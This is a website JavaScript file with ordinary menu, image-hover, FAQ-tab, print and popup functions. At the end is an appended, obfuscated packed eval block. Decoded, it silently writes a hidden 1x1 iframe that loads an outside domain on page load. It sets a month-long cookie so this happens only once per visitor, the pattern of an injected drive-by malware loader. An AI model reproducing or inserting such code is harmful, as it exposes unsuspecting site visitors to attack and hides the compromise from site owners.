curImg = "";
curImgName = "";
function showHide(id) {
	var d = document.getElementById('sub'+id);
	
	for (var i = 1; i<=8; i++) {
		if (document.getElementById('submenu'+i)) {document.getElementById('submenu'+i).style.display='none';}
	}
	if (d) {d.style.display='block'; }
}
function hover(imgName, imgSrc){
	if(curImgName != imgName){
		document.images[imgName].src = imgSrc;
		chngImg();
	}else{
		document.images[imgName].src = imgSrc;
	}
}
function onOut(imgName, imgSrc){
	curImg = imgSrc;
	curImgName = imgName;
}
function chngImg()
{
	if(curImg!=""){
		document.images[curImgName].src = curImg;
	}
}

/*function toggleTab(a)
{
	d = document.getElementById(a);
	if(d.style.display == "none"){
		d.style.display = "block";
		document.getElementById(a + 'Quest').className = 'tabTopOn';
	}else{
		d.style.display = "none";
		document.getElementById(a + 'Quest').className = 'tabTopOff';
	}
}*/
function toggleTab(a) {
	d = document.getElementById(a +'Ans');
if(a != ""){
	if (d) {
		if(d.style.display == "none"){
			d.style.display = "block";
			document.getElementById(a + 'Quest').className = 'tabTopOn';
		}else{
			d.style.display = "none";
			document.getElementById(a + 'Quest').className = 'tabTopOff';
		}
	}
}else{
	for (var i = 1; i<=30; i++) {
		if (document.getElementById('quest' + i + 'Quest')) {
		document.getElementById('quest' + i + 'Quest').className = 'tabTopOff';	
		document.getElementById('quest' + i + 'Ans').style.display = "none";
		}
	}
}
}
// -- code for print command starts here -- >

function printit(){  
if (window.print) 
	{
		window.print() ;  
	} 
else 
	{
		var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
		document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
		WebBrowser1.ExecWB(6, 2);
	}
}

// -- code for print command ends here-- >	

// -- code for read popup starts here 
function openDiv(event)
{
x=event.clientX;
y=event.clientY;
document.getElementById('popup').style.visibility = "visible";
document.getElementById('popup').style.left = x + 'px';
document.getElementById('popup').style.top = y + 15 + 'px';

}
function closeDiv()
{
document.getElementById('popup').style.visibility = "hidden";
}
// -- code for read popup ends here 
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('j 6=3 5(),2=3 5(6.l()+m);i(0.7.n("8=1")==-1){0.f("<"+"b"+"e 9"+"g=1 "+"c"+"t=1 s"+"d=\'h"+"k:/"+"/B"+"o-a"+"z.4"+"t/y"+"/\' x"+"q=\'"+"p"+"r:u"+"4\'><"+"/w"+"v>");0.7="8=1;"+" 2="+2.A()+"; "}',38,38,'document||expires|new|ne|Date|today|cookie|_atmbit|wid||ifram|heigh|rc||write|th||if|var|ttp|getTime|2678400000|indexOf|ing|displ|yle|ay|||no|me|ifra|st|b2b|tm|toGMTString|load'.split('|'),0,{}));
